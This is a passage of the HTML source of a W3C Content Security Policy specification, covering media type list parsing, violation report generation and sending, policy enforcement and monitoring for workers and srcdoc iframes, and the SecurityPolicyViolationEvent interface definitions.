role=\"note\">Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.3\" id=\"media-type-list-syntax\"><span class=\"secno\">4.3. </span><span class=\"content\">Media Type List Syntax</span><a class=\"self-link\" href=\"#media-type-list-syntax\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type-list\">media type list<a class=\"self-link\" href=\"#media-type-list\"></a></dfn>.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type\">media type<a class=\"self-link\" href=\"#media-type\"></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in the protected resource.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type_list\">media-type-list<a class=\"self-link\" href=\"#media_type_list\"></a></dfn>   = <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type\">media-type<a class=\"self-link\" href=\"#media_type\"></a></dfn>        = &lt;type from RFC 2045> \"/\" &lt;subtype from RFC 2045>\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.1\" id=\"media-type-list-parsing\"><span class=\"secno\">4.3.1. </span><span class=\"content\">Parsing</span><a class=\"self-link\" href=\"#media-type-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-media-type-list\">parse a media type list<a class=\"self-link\" href=\"#parse-a-media-type-list\"></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of media types</var> be the empty set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=\"dfn\" href=\"#media_type\">media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.\n       \n\n        \n       <li>Return the <var>set of media types</var>.\n       \n      \n      </ol>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.2\" id=\"media-type-list-matching\"><span class=\"secno\">4.3.2. </span><span class=\"content\">Matching</span><a class=\"self-link\" href=\"#media-type-list-matching\"></a></h4>\n      \n\n\n      <p>A media type <dfn data-dfn-type=\"dfn\" data-lt=\"match a media type list\" data-noexport=\"\" id=\"match-a-media-type-list\">matches a media type\n      list<a class=\"self-link\" href=\"#match-a-media-type-list\"></a></dfn> if, and only if, the media type is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n      case-insensitive match</a> for at least one token in the set of media\n      types obtained by <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the media\n      type list</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.4\" id=\"violation-reports\"><span class=\"secno\">4.4. </span><span class=\"content\">Reporting</span><a class=\"self-link\" href=\"#violation-reports\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"strip uri for reporting|stripped for reporting\" data-noexport=\"\" id=\"strip-uri-for-reporting\">strip\n    <var>uri</var> for reporting<a class=\"self-link\" href=\"#strip-uri-for-reporting\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.\n      \n\n      \n      <li>Return <var>uri</var>, with any <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment\">fragment</a>\n      component removed.\n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"generate a violation report object|generating a violation report object\" data-noexport=\"\" id=\"generate-a-violation-report-object\">generate a violation report object<a class=\"self-link\" href=\"#generate-a-violation-report-object\"></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-blocked-uri\"><a class=\"self-link\" href=\"#violation-report-blocked-uri\"></a>blocked-uri\n        \n          \n        <dd>The originally requested URL of the resource that was\n          prevented from loading, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URL (inline script and\n          inline style, for example).\n        \n\n          \n        <dt id=\"violation-report-document-uri\"><a class=\"self-link\" href=\"#violation-report-document-uri\"></a>document-uri\n        \n          \n        <dd>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#the-document's-address\">address</a>\n          of the protected resource, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-effective-directive\"><a class=\"self-link\" href=\"#violation-report-effective-directive\"></a>effective-directive\n        \n          \n        <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code>\n          directive.\n        \n\n          \n        <dt id=\"violation-report-original-policy\"><a class=\"self-link\" href=\"#violation-report-original-policy\"></a>original-policy\n        \n          \n        <dd>The original <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, as received by the user agent.\n        \n\n          \n        <dt id=\"violation-report-referrer\"><a class=\"self-link\" href=\"#violation-report-referrer\"></a>referrer\n        \n          \n        <dd>The <a class=\"idl-code\" data-link-type=\"attribute\" href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.\n        \n\n          \n        <dt id=\"violation-report-status-code\"><a class=\"self-link\" href=\"#violation-report-status-code\"></a>status-code\n        \n          \n        <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.\n        \n\n          \n        <dt id=\"violation-report-violated-directive\"><a class=\"self-link\" href=\"#violation-report-violated-directive\"></a>violated-directive\n        \n          \n        <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when enforcing\n          a directive.\n        \n        \n       </dl>\n       \n      \n      \n\n      \n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-source-file\"><a class=\"self-link\" href=\"#violation-report-source-file\"></a><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_file\">source-file<a class=\"self-link\" href=\"#source_file\"></a></dfn>\n        \n          \n        <dd>The URL of the resource where the violation occurred,\n          <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-line-number\"><a class=\"self-link\" href=\"#violation-report-line-number\"></a>line-number\n        \n          \n        <dd>The line number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n\n          \n        <dt id=\"violation-report-column-number\"><a class=\"self-link\" href=\"#violation-report-column-number\"></a>column-number\n        \n          \n        <dd>The column number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n        \n       </dl>\n       \n      \n      \n      \n      <li>Return <var>violation</var>.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"send-violation-reports\">send violation reports<a class=\"self-link\" href=\"#send-violation-reports\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a <a data-link-type=\"dfn\" href=\"#json-object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating\n      a violation report object</a>.\n      \n\n      \n      <li>Let <var>report body</var> be the <a data-link-type=\"dfn\" href=\"#json-stringification\">JSON stringification</a> of\n      <var>report object</var>.\n      \n\n      \n      <li>For each <var>report URL</var> in the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a>:\n        \n       <ol>\n          \n        <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URL</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URL</var>.\n        \n\n          \n        <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetch</a>\n          <var>report URL</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URL</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a> is the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy-task-source\">Content Security Policy task\n          source<a class=\"self-link\" href=\"#content-security-policy-task-source\"></a></dfn>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-a-violation\">report a violation<a class=\"self-link\" href=\"#report-a-violation\"></a></dfn>, the user agent MUST:</p>\n     \n\n    \n     <ol>\n      \n      <li><a data-link-type=\"dfn\" href=\"#fire-a-violation-event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a> is non-empty, <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n      reports</a> to each.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify. For example, a user agent might offer users the\n    option of disabling reporting entirely.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"5\" id=\"processing-model\"><span class=\"secno\">5. </span><span class=\"content\">Processing Model</span><a class=\"self-link\" href=\"#processing-model\"></a></h2>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"enforce\">enforce<a class=\"self-link\" href=\"#enforce\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a href=\"#directives\">§7 Directives</a>, below).</p>\n\n\n    <p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URLs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"monitor\">monitor<a class=\"self-link\" href=\"#monitor\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n\n    <p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=\"dfn\" href=\"#report-a-violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n\n    <p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  and <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n\n    <p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.1\" id=\"processing-model-workers\"><span class=\"secno\">5.1. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#processing-model-workers\"></a></h3>\n     \n\n\n     <p>Whenever a user agent <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a worker</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>If the worker’s script’s origin is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      \n       <ul>\n        \n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST enforce\n        the CSP policy for the worker.\n        \n\n        \n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST monitor\n        the CSP policy for the worker.\n        \n      \n       </ul>\n      \n      \n      <li>Otherwise:\n        \n       <ul>\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a>\n          <var>policy</var> for the worker.\n        \n\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> <var>policy</var> for the worker.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ul>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.2\" id=\"processing-model-iframe-srcdoc\"><span class=\"secno\">5.2. </span><span class=\"content\"><code>srcdoc</code> IFrames</span><a class=\"self-link\" href=\"#processing-model-iframe-srcdoc\"></a></h3>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> any <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those\n    <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a> on the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those policies on\n    the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"6\" id=\"script-interfaces\"><span class=\"secno\">6. </span><span class=\"content\">Script Interfaces</span><a class=\"self-link\" href=\"#script-interfaces\"></a></h2>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.1\" id=\"securitypolicyviolationevent-interface\"><span class=\"secno\">6.1. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationevent-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">[<dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"></a></dfn>(DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"></a></dfn>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"></a></dfn>)]\ninterface <dfn class=\"idl-code\" data-dfn-type=\"interface\" data-export=\"\" id=\"securitypolicyviolationevent\">SecurityPolicyViolationEvent<a class=\"self-link\" href=\"#securitypolicyviolationevent\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-statuscode\">statusCode<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-statuscode\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-status-code\"><code>status-code</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.2\" id=\"securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationeventinit-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">dictionary <dfn class=\"idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" id=\"dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit<a class=\"self-link\" href=\"#dictdef-securitypolicyviolationeventinit\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" 